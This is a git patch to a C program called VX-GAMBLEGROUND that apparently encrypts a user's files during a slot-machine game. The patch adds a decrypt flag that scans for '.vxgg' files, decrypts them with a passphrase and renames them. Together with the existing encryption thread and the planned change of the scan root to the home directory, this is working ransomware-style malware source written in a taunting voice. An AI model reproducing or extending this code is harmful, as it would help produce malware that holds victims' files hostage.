From 92b2b42b0976a2849e0fd25cbd4ceedebb9b0a5e Mon Sep 17 00:00:00 2001
From: "@syxhe" <https://t.me/syxhe>
Date: Mon, 2 Sep 2024 00:08:05 -0500
Subject: Implement decrypt flag

---
 src/VX-GAMBLEGROUND.c | 55 ++++++++++++++++++++++++++++++++++++++++++++++++++-
 src/VX-GAMBLEGROUND.h |  3 +++
 2 files changed, 57 insertions(+), 1 deletion(-)

(limited to 'src')

diff --git a/src/VX-GAMBLEGROUND.c b/src/VX-GAMBLEGROUND.c
index 4afa8cd..1e508a2 100644
--- a/src/VX-GAMBLEGROUND.c
+++ b/src/VX-GAMBLEGROUND.c
@@ -201,6 +201,45 @@ int scanundencrypt(void *passed) {
     return 0;
 }
 
+int decrypt(void *args) {
+    struct sande *pass = (struct sande *)args;
+    pass->scanned = scanfiles(pass->STARTPATH, pass->cmp);
+    if(pass->scanned == NULL)
+        error(1, 0, "[VX-GAMBLEGROUND] Filescan broke");
+    
+    int err = REG_NOERROR;
+    regex_t encext;
+    if((err = regcomp(&encext, "(.*\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE)))
+        error(1, 0, "[VX-GAMBLEGROUND] Regcomp failled. Decryption skipped, unlucky bastard. ECODE: %d", err);
+
+    int fd = -1;
+    for(struct nodelist *p = pass->scanned; p != NULL; p = p->next) {
+        if(p->fullpath == NULL)
+            continue;
+
+        if(regexec(&encext, p->fullpath, 0, NULL, 0) == REG_NOMATCH)
+            continue;
+
+        fd = open(p->fullpath, O_RDWR);
+        if(fd < 0)
+            continue;
+        passencblock(fd, pass->passphrase);
+        close(fd);
+        
+        // Once again my problems are solved by allocating shit instead of using static shit
+        char *newname = calloc(strlen(p->fullpath) + 1, sizeof(*newname));
+        strncpy(newname, p->fullpath, (strlen(p->fullpath) - strlen(".vxgg")));
+        rename(p->fullpath, newname);
+        free(newname);
+    }
+
+    endwin(); // Calling this shouldn't be a problem even if ncurses isn't initalized
+    error(0, 0, "[VX-GAMBLEGROUND] Your files have been decrypted. Thanks for playing!");
+    exit(0);
+
+    return 0;
+}
+
 int main(int argc, char *argv[]) {
     struct arguments args = {
         .inputpass = NULL,
@@ -221,9 +260,21 @@ int main(int argc, char *argv[]) {
     }
 
 
+    // Deal with decrypting flag
+    if((args.flags & SKIPSLOTS) && (args.inputpass != NULL)) {
+        struct sande pass = {
+            .cmp = alphasort,
+            .passphrase = passphrase,
+            .scanned = NULL,
+            .STARTPATH = FILESCAN_START
+        };
+        decrypt((void*)&pass);
+        return 0;
+    }
+
     struct bullshit stuff;
     struct nodelist *files = NULL;
-    struct sande scanner = {.cmp = alphasort, .STARTPATH = "./", .scanned = files, .passphrase = passphrase};
+    struct sande scanner = {.cmp = alphasort, .STARTPATH = FILESCAN_START, .scanned = files, .passphrase = passphrase};
     strncpy(stuff.passphrase, passphrase, PHRASESIZE);
     thrd_t slots, filescan;
     
@@ -236,5 +287,7 @@ int main(int argc, char *argv[]) {
     thrd_join(slots, NULL);
     thrd_join(filescan, NULL);
     
+
+
     return 0;
 }
\ No newline at end of file
diff --git a/src/VX-GAMBLEGROUND.h b/src/VX-GAMBLEGROUND.h
index 66e9383..6d379c2 100644
--- a/src/VX-GAMBLEGROUND.h
+++ b/src/VX-GAMBLEGROUND.h
@@ -11,6 +11,9 @@ struct arguments {
 #define SKIPSLOTS   0x1
 #define SKIPENC     0x2
 
+// This will later be changed to "~/"
+#define FILESCAN_START "./"
+
 #define PHRASESIZE 32
 int genphrase(char *phrase, size_t phrasesize);
 
-- 
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